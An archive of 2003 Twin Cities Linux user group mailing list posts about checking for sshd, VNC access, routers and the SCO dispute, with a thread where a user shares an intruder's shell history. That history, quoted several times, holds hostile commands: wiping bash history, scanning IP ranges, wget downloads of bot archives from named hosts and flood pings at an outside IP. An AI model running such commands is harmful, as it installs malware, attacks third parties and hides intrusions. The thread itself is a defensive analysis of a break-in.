https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Wed Aug 20 20:59:37 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1255.192.1.1.23.1061424688.squirrel@dccmn.com> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> <1255.192.1.1.23.1061424688.squirrel@dccmn.com> Message-ID: <20030820205937.7236f23d.sfertch@real-time.com> On Wed, 20 Aug 2003 19:11:28 -0500 (CDT) "Wayne Johnson" wrote: > Another option would be to run putty and piggyback VNC on it. I get > to my home laptop from work that way all the time. > > VNC uses X11, and you don't need to install the X server on your > remote machine. > Quick question, but what if you don't run a GUI desktop. My understanding is that VNC only works with a GUI desktop, not a console. The system I connect to whenever I'm outside of my home network has X installed, but not configured. I did not ever plan on using a GUI desktop, as it takes up valuable resources on an ancient P166 system. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Wed Aug 20 21:03:28 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] My linux has died In-Reply-To: <20030820201609.3a655627.william.layer@comcast.net> Message-ID: I think I have found the answer to my problems. I got into a shell using disc 1 of the installation cds. I switched to super user mode and saw various commands in the history that were not mine. Someone got in earlier this week and did some bad things to my system. Below is the history if anyone is interested in seeing what they were up to. Any explanation of what they did is welcome. It was pretty much a fresh install, so I wiped the disc and I am reinstalling. I think I need to learn much more about security. TOm history rm -rf .bash_history ls -al w cd /tmp/.cfg/ cd samba ./scan 217 139 97 1 ./scan 62 139 217 98 ./serv 67.160.4.66 ./scan 67 139 160 4 ./scan 217 139 0 1 ls -alF cat /etc/issue tar cd /tmp cd sh ls -alF tar -xzvf sh.tgz exit id wget djcc.go.ro/bios.tgz tar -xzvf bios.tgz tar -xzvf bios.tgz ls rm -rf bios.tgz ls ps -aux cat /proc/cpuinfo exit chmod 700 inst chmod +x inst exit mkdir /dev/targa cd /dev/targa wget mihai-doini.org/bot.tgz tar -xzvf bot.tgz exit ping -s -f 203.144.243.10 65500& ping -f -s 203.144.243.10 65500& ping -s -f 203.144.243.10 65500& ls cd / ping -s -f 203.144.243.10 65500& history | more history | vim history -w /tmp/hist.txt _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Wed Aug 20 21:09:44 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <20030820204945.2d860a67.sfertch@real-time.com> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> <1061418669.1010.218.camel@lotsa> <20030820204945.2d860a67.sfertch@real-time.com> Message-ID: <1061431784.1010.526.camel@lotsa> On Wed, 2003-08-20 at 20:49, Shawn wrote: > On 20 Aug 2003 17:31:09 -0500 > Tom Penney wrote: > > > > > I kind of like your hack. What if you don't know the name of the > > command but know it contains ssh. > > ps -ef |grep -v grep|grep ssh - Works > > ps -C ssh - Does Not > > > > why not just the old Unix favorite (well, at least mine): > > ps -ef|grep ssh > > Why bother with the grep -v and such when all you're doing is checking for a running process visually? If you're using a script and don't want to see the pid of the grep then it's fine, IMO. > > Less typing at times is better. Because someone mentioned "ps -ef|grep ssh" also lists the process for "grep ssh". The question was How do I see if sshd is running? On Wed, 2003-08-20 at 10:24, Sam MacDonald wrote: > > I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) > results > root 27813 27782 0:09:04 tty1 00:00:00: grep sshd > > This is where I get lost because I don't know how to interpret the > output of grep so... you and I know that this means sshd is not running but it is confusing to someone new to linux. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Wed Aug 20 21:40:29 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061431784.1010.526.camel@lotsa> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> <1061418669.1010.218.camel@lotsa> <20030820204945.2d860a67.sfertch@real-time.com> <1061431784.1010.526.camel@lotsa> Message-ID: <20030820214029.6722582a.sfertch@real-time.com> On 20 Aug 2003 21:09:44 -0500 Tom Penney wrote: > Because someone mentioned "ps -ef|grep ssh" also lists the process for > "grep ssh". The question was How do I see if sshd is running? > I know what the original question was, hence my stating just using a ps -ef|grep ssh. In it's basic form, that will in fact show if sshd is running. As to the part of using grep -v, I did touch on that as well. But, for a newbie to Linux, best to stick with the basics until they are more comfortable with commands. But, hey what do I know? -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Wed Aug 20 22:01:46 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <20030820205937.7236f23d.sfertch@real-time.com> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> <1255.192.1.1.23.1061424688.squirrel@dccmn.com> <20030820205937.7236f23d.sfertch@real-time.com> Message-ID: <1122.192.1.1.23.1061434906.squirrel@dccmn.com> I was running on a console machine with no problem. VNC runs it's own X server. Now running it in a 166 might be a bit slow. Really depends in the amount of real memory. X11 is a hog. I had 32Mb on a 166 and it was slow but usable. Shawn said: > On Wed, 20 Aug 2003 19:11:28 -0500 (CDT) > "Wayne Johnson" wrote: > >> Another option would be to run putty and piggyback VNC on it. I get >> to my home laptop from work that way all the time. >> >> VNC uses X11, and you don't need to install the X server on your >> remote machine. >> > > Quick question, but what if you don't run a GUI desktop. My > understanding is that VNC only works with a GUI desktop, not a console. > The system I connect to whenever I'm outside of my home network has X > installed, but not configured. I did not ever plan on using a GUI > desktop, as it takes up valuable resources on an ancient P166 system. > > > -- > Shawn > > The difficult we do today; the impossible take a little longer. > > Ne Obliviscaris -- "Forget Not" > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Wed Aug 20 22:15:56 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: Message-ID: On Wed, 20 Aug 2003, PHPTOm wrote: > history > rm -rf .bash_history > ls -al > w > cd /tmp/.cfg/ > cd samba > ./scan 217 139 97 1 > ./scan 62 139 217 98 > ./serv 67.160.4.66 > ./scan 67 139 160 4 > ./scan 217 139 0 1 > ls -alF > cat /etc/issue > tar > cd /tmp > cd sh > ls -alF > tar -xzvf sh.tgz > exit > id > wget djcc.go.ro/bios.tgz > tar -xzvf bios.tgz > tar -xzvf bios.tgz > ls > rm -rf bios.tgz > ls > ps -aux > cat /proc/cpuinfo > exit > chmod 700 inst > chmod +x inst > exit > mkdir /dev/targa > cd /dev/targa > wget mihai-doini.org/bot.tgz > tar -xzvf bot.tgz > exit > ping -s -f 203.144.243.10 65500& > ping -f -s 203.144.243.10 65500& > ping -s -f 203.144.243.10 65500& > ls > cd / > ping -s -f 203.144.243.10 65500& > history | more > history | vim > history -w /tmp/hist.txt looks to me like you got rooted, and i'm sorry to say it but it was by an idiot. wipe the system and restore from a known good backup. Munir Nassar Systems Administrator RedConcepts.NET _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Wed Aug 20 23:23:08 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: <20030820201609.3a655627.william.layer@comcast.net> Message-ID: <20030821042308.GA29442@autonomous.tv> On Wed, Aug 20, 2003 at 09:03:28PM -0500, PHPTOm wrote: >I think I have found the answer to my problems. I got into a shell using >disc 1 of the installation cds. I switched to super user mode and saw >various commands in the history that were not mine. Someone got in earlier >this week and did some bad things to my system. Below is the history if >anyone is interested in seeing what they were up to. Any explanation of >what they did is welcome. It was pretty much a fresh install, so I wiped >the disc and I am reinstalling. I think I need to learn much more about >security. <*snip-kiddie*> I would certainly recommend getting a firewall set up before you rebuild that box. Chances are good that what you installed the first time will still be vulnerable when you install it the second and third times. If you are new to computer security in general, you should never, ever, put a computer on the internet without a firewall before it. That said, you should never put a computer on the internet without said box having some defensive meaures in place, and/or behind some sort of a firewall. Especially if you are a home user with a cable or dsl modem or any type of 'always on connection' you *must* have a firewall before your computer or your LAN of computers. There are many firewall solutions ranging from the the $30 Linksys/D-Link units you can buy, to Linux based solutions available freely on the internet (most of which require very minimal hardware that your can dumpster dive from your local alley :)). I offer you, and all in your similar position, a very few links (besides the implied http://google.com), and a great deal of encouragement: Security Focus aka bugtraq an excellent resource for all things security http://securityfocus.com/ IP Cop a very versatile Linux based firewall http://ipcop.org PicoBSD a BSD based floppy firewall Coyete Linux a Linux based floppy firewall I would also suggest that you subscribe to your distros (Red Hat, Debian, SuSe...) security or update mailing list. Subscribe to lots of security mailing lists for that matter. Keep asking questions and reading, and do some more reading and google'n, ask a few more questions. lather, rinse, repeat. In no time you will be intelligently answering security questions yourself :) -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030820/a37c3ba6/attachment.pgp From smac at visi.com Thu Aug 21 00:51:57 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061423480.1010.372.camel@lotsa> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> <3F43C28B.6090205@visi.com> <1061407972.1010.167.camel@lotsa> <3F43DB14.9060006@visi.com> <1061423480.1010.372.camel@lotsa> Message-ID: <3F445DFD.4030607@visi.com> Had to trim that. The SCO owned code could be removed without damaging Linux. IBM will attempt to get patents on Linux code when it can. IBM has more technoloy patents then any other company and Token ring NUF Said < LOLROF> _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 21 00:58:14 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: Message-ID: <3F445F76.5070609@visi.com> Wow that is nasty. I have DSL and I use a Linksys router. I hid behind the router using only the ports necessary to achieve my needs. Everyone in the house has access to the internet but only the ports I need are enabled to receive or send data. I've run several port scanners against my system form other locations and have had very good results. PHPTOm wrote: >I think I have found the answer to my problems. I got into a shell using >disc 1 of the installation cds. I switched to super user mode and saw >various commands in the history that were not mine. Someone got in earlier >this week and did some bad things to my system. Below is the history if >anyone is interested in seeing what they were up to. Any explanation of >what they did is welcome. It was pretty much a fresh install, so I wiped >the disc and I am reinstalling. I think I need to learn much more about >security. > >TOm > > > > > > >history >rm -rf .bash_history >ls -al >w >cd /tmp/.cfg/ >cd samba >./scan 217 139 97 1 >./scan 62 139 217 98 >./serv 67.160.4.66 >./scan 67 139 160 4 >./scan 217 139 0 1 >ls -alF >cat /etc/issue >tar >cd /tmp >cd sh >ls -alF >tar -xzvf sh.tgz >exit >id >wget djcc.go.ro/bios.tgz >tar -xzvf bios.tgz >tar -xzvf bios.tgz >ls >rm -rf bios.tgz >ls >ps -aux >cat /proc/cpuinfo >exit >chmod 700 inst >chmod +x inst >exit >mkdir /dev/targa >cd /dev/targa >wget mihai-doini.org/bot.tgz >tar -xzvf bot.tgz >exit >ping -s -f 203.144.243.10 65500& >ping -f -s 203.144.243.10 65500& >ping -s -f 203.144.243.10 65500& >ls >cd / >ping -s -f 203.144.243.10 65500& >history | more >history | vim >history -w /tmp/hist.txt > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 21 01:04:51 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061418669.1010.218.camel@lotsa> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> <1061418669.1010.218.camel@lotsa> Message-ID: On Wed, 20 Aug 2003 17:31:09 -0500, Tom Penney wrote: > On Wed, 2003-08-20 at 15:52, Johnny Fulcrum wrote: > >> In the future I will try to keep my ugly UNIX hacks off this beauty of a >> Linux group. >> >> My apologies. >> >> Uglyhack Fulcrum..... > > I kind of like your hack. What if you don't know the name of the command > but know it contains ssh. > ps -ef |grep -v grep|grep ssh - Works > ps -C ssh - Does Not Thanks for your kind words... I know that the grep -v "hack" works on : solaris "linux" AIX HPUX and God forbid if you ever have to use: Dinix (ok toatal pot shot there....) I guess I'm always going to the lowset common demonitator.... God I wish I could scripte everything in the bash shell calling "linux" (GNU) commands, but the stuff I usally have to write has to work on ALL *nix platforms Just trying to help..... I think (?) > > Can't we all just get along? > Yes we can - I overreacted - sorry to all... bad day due to a F8ed up tivoli install - GOSH DARNIT why would anyone want to use Tivoli????? (retorical...) -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 21 01:08:21 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1255.192.1.1.23.1061424688.squirrel@dccmn.com> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> <1255.192.1.1.23.1061424688.squirrel@dccmn.com> Message-ID: On Wed, 20 Aug 2003 19:11:28 -0500 (CDT), Wayne Johnson wrote: > Another option would be to run putty and piggyback VNC on it. I get to > my > home laptop from work that way all the time. I'll second that... I VNC to my home Linux server (within my LAN) and then vnc (within the VNC) to all my windows Boxen... Freaks the wife out when I print out corney "I love you" messages to the home printer from work..... :) but later it totally pays off.. (catch my drift???) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 21 01:09:57 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> <1061418669.1010.218.camel@lotsa> Message-ID: <3F446235.6090301@visi.com> johnny fulcrum wrote: > On Wed, 20 Aug 2003 17:31:09 -0500, Tom Penney wrote: > >> On Wed, 2003-08-20 at 15:52, Johnny Fulcrum wrote: >> >>> In the future I will try to keep my ugly UNIX hacks off this beauty >>> of a Linux group. >>> >>> My apologies. >>> >>> Uglyhack Fulcrum..... >> >> >> I kind of like your hack. What if you don't know the name of the command >> but know it contains ssh. >> ps -ef |grep -v grep|grep ssh - Works >> ps -C ssh - Does Not > > > Thanks for your kind words... I know that the grep -v "hack" works on : > > solaris > "linux" > AIX > HPUX > and God forbid if you ever have to use: Dinix (ok toatal pot shot > there....) > > I guess I'm always going to the lowset common demonitator.... God I > wish I could scripte everything > in the bash shell calling "linux" (GNU) commands, but the stuff I > usally have to write has to work on ALL > *nix platforms > > Just trying to help..... I think (?) > >> >> Can't we all just get along? >> > > Yes we can - I overreacted - sorry to all... bad day due to a F8ed up > tivoli install - GOSH DARNIT why would anyone want to use Tivoli????? > (retorical...) > > Well it could be worse, you could be using System Management Server from M$. That system is not sane, it copies files across the network at a rate that is unbelievable. An when it fails it's never right again. Regrettably thats what I did in my last job, SMS. Funny how I don't have that sinking feeling any more... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Thu Aug 21 06:37:20 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] My linux has died In-Reply-To: <3F445F76.5070609@visi.com> References: <3F445F76.5070609@visi.com> Message-ID: On Thu, 21 Aug 2003, Sam MacDonald wrote: > Wow that is nasty. > I have DSL and I use a Linksys router. I hid behind the router using > only the ports necessary to achieve my needs. Everyone in the house has > access to the internet but only the ports I need are enabled to receive > or send data. I've run several port scanners against my system form > other locations and have had very good results. indeed, but did you check for vulnerabilities? you said you were using redhat 6.2, which did not include openssh, so you probably had to connect to it using telnet. telnet sends your password over the wire in plain text and anyone can sniff it. Same goes for ftp. additionally, redhat 6.2 has been out of support for a while, so even if you installed all the latest patches from redhat, you would still have vulnerabilities. redhat 6.2 also used wu-ftpd. nuff said. was this system behind the firewall? if so then i would consider each and every one of your other systems suspect as well. Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bradyh at bitstream.net Thu Aug 21 08:11:37 2003 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: Message-ID: <1061471494.12420.93.camel@orlando> Looks like you've got Romanian script kiddies in your computer. Well, they have stuff stashed on Romanian servers anyway. I'm curious about this stuff myself. I guess bot.tgz is a program that flood pings 203.144.243.10 (Asahi-Somboon ONLINE?) What's bios.tgz? And what are the scan and serv commands doing with those IP addresses? Hmmm? > I think I have found the answer to my problems. I got into a shell using > disc 1 of the installation cds. I switched to super user mode and saw > various commands in the history that were not mine. Someone got in earlier > this week and did some bad things to my system. Below is the history if > anyone is interested in seeing what they were up to. Any explanation of > what they did is welcome. It was pretty much a fresh install, so I wiped > the disc and I am reinstalling. I think I need to learn much more about > security. > > TOm > > > > > > > history > rm -rf .bash_history > ls -al > w > cd /tmp/.cfg/ > cd samba > ./scan 217 139 97 1 > ./scan 62 139 217 98 > ./serv 67.160.4.66 > ./scan 67 139 160 4 > ./scan 217 139 0 1 > ls -alF > cat /etc/issue > tar > cd /tmp > cd sh > ls -alF > tar -xzvf sh.tgz > exit > id > wget djcc.go.ro/bios.tgz > tar -xzvf bios.tgz > tar -xzvf bios.tgz > ls > rm -rf bios.tgz > ls > ps -aux > cat /proc/cpuinfo > exit > chmod 700 inst > chmod +x inst > exit > mkdir /dev/targa > cd /dev/targa > wget mihai-doini.org/bot.tgz > tar -xzvf bot.tgz > exit > ping -s -f 203.144.243.10 65500& > ping -f -s 203.144.243.10 65500& > ping -s -f 203.144.243.10 65500& > ls > cd / > ping -s -f 203.144.243.10 65500& > history | more > history | vim > history -w /tmp/hist.txt > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Thu Aug 21 08:25:29 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] My linux has died In-Reply-To: <1061471494.12420.93.camel@orlando> References: <1061471494.12420.93.camel@orlando> Message-ID: <1061472329.1010.593.camel@lotsa> On Thu, 2003-08-21 at 08:11, Brady Hegberg wrote: > Looks like you've got Romanian script kiddies in your computer. Well, > they have stuff stashed on Romanian servers anyway. I'm curious about > this stuff myself. I guess bot.tgz is a program that flood pings > 203.144.243.10 (Asahi-Somboon ONLINE?) What's bios.tgz? And what are > the scan and serv commands doing with those IP addresses? Hmmm? scan and serv was defiantly something they installed on the machine. bios.tgz & bot.tgz could be anything. They removed the history at least once so who know what else they did. They were idiots though. Why didn't they remove the history when they were done? If they didn't crash his system they could still be using it right now. They probably sniffed his passwords. I think he was using ftp to access all his files from windows systems. > > > > > > > > history > > rm -rf .bash_history > > ls -al > > w > > cd /tmp/.cfg/ > > cd samba > > ./scan 217 139 97 1 > > ./scan 62 139 217 98 > > ./serv 67.160.4.66 > > ./scan 67 139 160 4 > > ./scan 217 139 0 1 > > ls -alF > > cat /etc/issue > > tar > > cd /tmp > > cd sh > > ls -alF > > tar -xzvf sh.tgz > > exit > > id > > wget djcc.go.ro/bios.tgz > > tar -xzvf bios.tgz > > tar -xzvf bios.tgz > > ls > > rm -rf bios.tgz > > ls > > ps -aux > > cat /proc/cpuinfo > > exit > > chmod 700 inst > > chmod +x inst > > exit > > mkdir /dev/targa > > cd /dev/targa > > wget mihai-doini.org/bot.tgz > > tar -xzvf bot.tgz > > exit > > ping -s -f 203.144.243.10 65500& > > ping -f -s 203.144.243.10 65500& > > ping -s -f 203.144.243.10 65500& > > ls > > cd / > > ping -s -f 203.144.243.10 65500& > > history | more > > history | vim > > history -w /tmp/hist.txt > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pjcrump at bitstream.net Thu Aug 21 08:29:07 2003 From: pjcrump at bitstream.net (pjcrump@bitstream.net) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Router with DSL? Message-ID: <20030821132907.9AA5EE4A65@vpop-2.mc.mpls.visi.com> When getting DSL, will Qworst provide me with an external modem that I can then run into a linksys router? I have a friend of mine that wants to connect a couple of Windows boxes to the net. thx. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Thu Aug 21 08:55:40 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Ernie Ball and Linux Message-ID: <20030821085540.5f4c5b8d.list@slushpupie.com> There is an article on cnet about the music company Ernie Ball and their encounter with the BSA, and the resulting switch to mostly open source software. http://news.com.com/2008-1082_3-5065859.html?tag=lh The interview shows that a company can (quickly) switch over to 100% non-microsoft software, in a fairly quick time period. For those people looking for good "arguments" against MS, take a look at this article. Its not exactly your typical MS bashing. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 21 09:15:36 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: <3F445F76.5070609@visi.com> Message-ID: <3F44D408.6010902@visi.com> This is why trimming is not always a good thing. I was replying to another persons post. I neither connect to my computers over the internet nor let anyone make more then a port 80 connection Munir Nassar wrote: >On Thu, 21 Aug 2003, Sam MacDonald wrote: > > > >>Wow that is nasty. >>I have DSL and I use a Linksys router. I hid behind the router using >>only the ports necessary to achieve my needs. Everyone in the house has >>access to the internet but only the ports I need are enabled to receive >>or send data. I've run several port scanners against my system form >>other locations and have had very good results. >> >> > >indeed, but did you check for vulnerabilities? > >you said you were using redhat 6.2, which did not include openssh, so you >probably had to connect to it using telnet. telnet sends your password >over the wire in plain text and anyone can sniff it. Same goes for ftp. > >additionally, redhat 6.2 has been out of support for a while, so even if >you installed all the latest patches from redhat, you would still have >vulnerabilities. > >redhat 6.2 also used wu-ftpd. nuff said. > >was this system behind the firewall? if so then i would consider each and >every one of your other systems suspect as well. > >Munir Nassar >RedConcepts.NET >http://redconcepts.net/ > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From philwil at earthlink.net Thu Aug 21 09:21:29 2003 From: philwil at earthlink.net (Phil Wilshire) Date: Mon Jan 17 12:40:43 2005 Subject: [TCLUG] Call the FTC about SCO ... Today Please References: <20030819193959.GB17751@tigger.digitaltorque.ca> <1061358082.2673.51.camel@localhost> <20030820092706.5143c809.msoulier@digitaltorque.ca> <3F43797A.3070709@bedarra.com> <20030821040919.GC19616@tigger.digitaltorque.ca> Message-ID: <3F44D569.4A6A244E@earthlink.net> Hi all, This was a posting on OCLUG in Ottawa from Richard Jenniss. Now Bruce Perens and others have proven their exposed claims to be absolutely false it is time to stop this charade. Lets do this today if you can. The FTC want to hear from us. In my case my customers are asking me about these allegations from SCO and are wondering why SCO can keep making these claims if they are PROVEN to be untrue. The demand for payment as protection against possibly being sued at some later date is, basically, a gangster racket. Their refusal to reveal the Code in question is forcing us into a no win situation if there IS any code from their sources. The overall pattern is one of untruth, deception and extortion. regards, Phil Wilshire > > I saw this article surfing the posts on Slashdot in regards to SCO and their "proof" > Do we have some place equivalent to the FTC in Canada? > > > Repeating this from the last SCO story, needs more exposure... > > I just got off the phone with the FTC. If everyone calls and complains then the chances they will investigate SCO goes up. They look for patterns. In other words, if the majority of their calls are about SCO then they will investigate. It is time to take the Slashdot effect to the phones. > > These eare the key points to make: > > -You did not purchase software from SCO > -The company that "produced" your software did not purchase it from SCO > -It was not marketed or packaged by SCO > -Despite this SCO is asking for $199 from home users (You) and $699 from business for 1 CPU > > They will ask for your name, phone number, address etc. That is mostly to verify your identity and citizenship I think. > > Here is the number: > > 1-877-382-4357 option 4 > > They are nice and listen well. The lady I talked to even took the time to get a better understanding of what Linux is. The best quote from her "You didn't purchase it from them and they want you to pay them? That sounds crazy." > -- > Call FTC 1-877-382-4357 opt 4 > -You didn't buy from SCO > -Vendor didn't either > -They want $199 ... > > Here's some information that may help. They actually asked for this info: > > The SCO Group > 355 South 520 West > Suite 100 > Lindon, Utah 84042 > > 801-765-4999 phone > > The guy I spoke with was actually somewhat familiar with what Linux is. One of his first questions was how this company got involved with me, which my answer was "Well, that's the problem. They didn't." > > He eventually asked if SCO has contacted me personally with regard to this situation, which they have not. Don't lie to them. Be completely truthful. At the end of the call I got a reference number, and he said that if SCO does contact me personally, I should call back and let them know. > > It was very easy to do, and took about 5 minutes of my time. The recording while I wated for the counselor to pick up the phone did say that the FTC does track| > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Thu Aug 21 09:23:13 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:43 2005 Subject: 